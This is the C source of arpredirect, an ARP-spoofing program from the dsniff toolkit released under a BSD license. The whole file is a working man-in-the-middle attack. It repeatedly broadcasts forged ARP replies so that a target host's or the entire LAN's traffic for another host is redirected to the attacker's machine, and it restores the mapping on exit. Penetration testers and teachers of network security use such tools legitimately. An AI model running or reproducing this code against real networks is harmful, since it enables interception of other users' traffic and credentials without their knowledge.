/*
  arpredirect.c

  Redirect packets from a target host (or from all hosts) intended for
  another host on the LAN to ourselves.
  
  Copyright (c) 1999 Dug Song <dugsong@monkey.org>
  All rights reserved, all wrongs reversed.

  Redistribution and use in source and binary forms, with or without
  modification, are permitted provided that the following conditions
  are met:

  1. Redistributions of source code must retain the above copyright
     notice, this list of conditions and the following disclaimer.
  2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the distribution.
  3. The name of author may not be used to endorse or promote products
     derived from this software without specific prior written permission.

  THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
  AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
  THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
  OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
  WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
  OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

  $Id: arpredirect.c,v 1.10 2000/01/24 17:59:08 dugsong Exp $
*/

#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <libnet.h>
#include <pcap.h>

#include "version.h"

/* from arp.c */
int arp_cache_lookup(u_long, struct ether_addr *);

static char *intf;
static struct libnet_link_int *llif;
static struct ether_addr spoof_mac, target_mac;
static u_long spoof_ip, target_ip;

void
usage(void)
{
  fprintf(stderr, "Usage: arpredirect [-i interface] [-t target] host\n");
  exit(1);
}

int
arp_send(struct libnet_link_int *llif, char *dev,
	 int op, u_char *sha, u_long spa, u_char *tha, u_long tpa)
{
  char ebuf[128];
  u_char pkt[60];
  
  if (sha == NULL) {
    if ((sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL)
      return (-1);
  }
  if (spa == 0) {
    if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
      return (-1);
    spa = htonl(spa); /* XXX */
  }
  if (tha == NULL)
    tha = "\xff\xff\xff\xff\xff\xff";
  
  libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);
  
  libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
		   op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
		   NULL, 0, pkt + ETH_H);
  
  return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}

void
cleanup(int sig)
{
  int i;
  
  fprintf(stderr, "\nrestoring original ARP mapping for %s\n",
	  libnet_host_lookup(spoof_ip, 0));

  for (i = 0; i < 3; i++) {
    /* XXX - on BSD, need ETHERSPOOF kernel for this to work correctly. */
    arp_send(llif, intf, ARPOP_REPLY, (u_char *)&spoof_mac, spoof_ip,
	     (target_ip ? (u_char *)&target_mac : NULL), target_ip);
    sleep(2);
  }
  exit(0);
}

int
arp_find(u_long ip, struct ether_addr *mac)
{
  int i;
  
  for (i = 0; (i < 3) && (arp_cache_lookup(ip, mac) == -1); i++) {
    arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
    sleep(1);
  }
  return (i != 3);
}

int
main(int argc, char *argv[])
{
  int c;
  char ebuf[PCAP_ERRBUF_SIZE];
  
  intf = NULL;
  spoof_ip = target_ip = 0;
  
  while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
    switch (c) {
    case 'i':
      intf = optarg;
      break;
    case 't':
      if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
	usage();
      break;
    case 'V':
      fprintf(stderr, "Version: %s\n", VERSION);
      usage();
      break;
    default:
      usage();
      break;
    }
  }
  argc -= optind;
  argv += optind;
  
  if (argc != 1)
    usage();

  if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
    usage();
  
  if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL) {
    fprintf(stderr, "%s\n", ebuf);
    exit(1);
  }
  if ((llif = libnet_open_link_interface(intf, ebuf)) == 0) {
    fprintf(stderr, "%s\n", ebuf);
    exit(1);
  }
  if (target_ip != 0) {
    if (!arp_find(target_ip, &target_mac)) {
      fprintf(stderr, "couldn't arp for host %s\n",
	      libnet_host_lookup(target_ip, 0));
      exit(1);
    }
  }
  if (!arp_find(spoof_ip, &spoof_mac)) {
    fprintf(stderr, "couldn't arp for host %s\n",
	    libnet_host_lookup(spoof_ip, 0));
    exit(1);
  }
  signal(SIGHUP, cleanup);
  signal(SIGINT, cleanup);
  signal(SIGTERM, cleanup);

  fprintf(stderr, "intercepting traffic from %s to %s (^C to exit)...\n",
	  (target_ip ? (char *)libnet_host_lookup(target_ip, 0) : "LAN"),
	  libnet_host_lookup(spoof_ip, 0));
  
  /* Sit and sniff. */
  for (;;) {
    arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,
	     (target_ip ? (u_char *)&target_mac : NULL), target_ip);
    sleep(2);
  }

  /* NOTREACHED */

  exit(0);
}

/* 5000 */
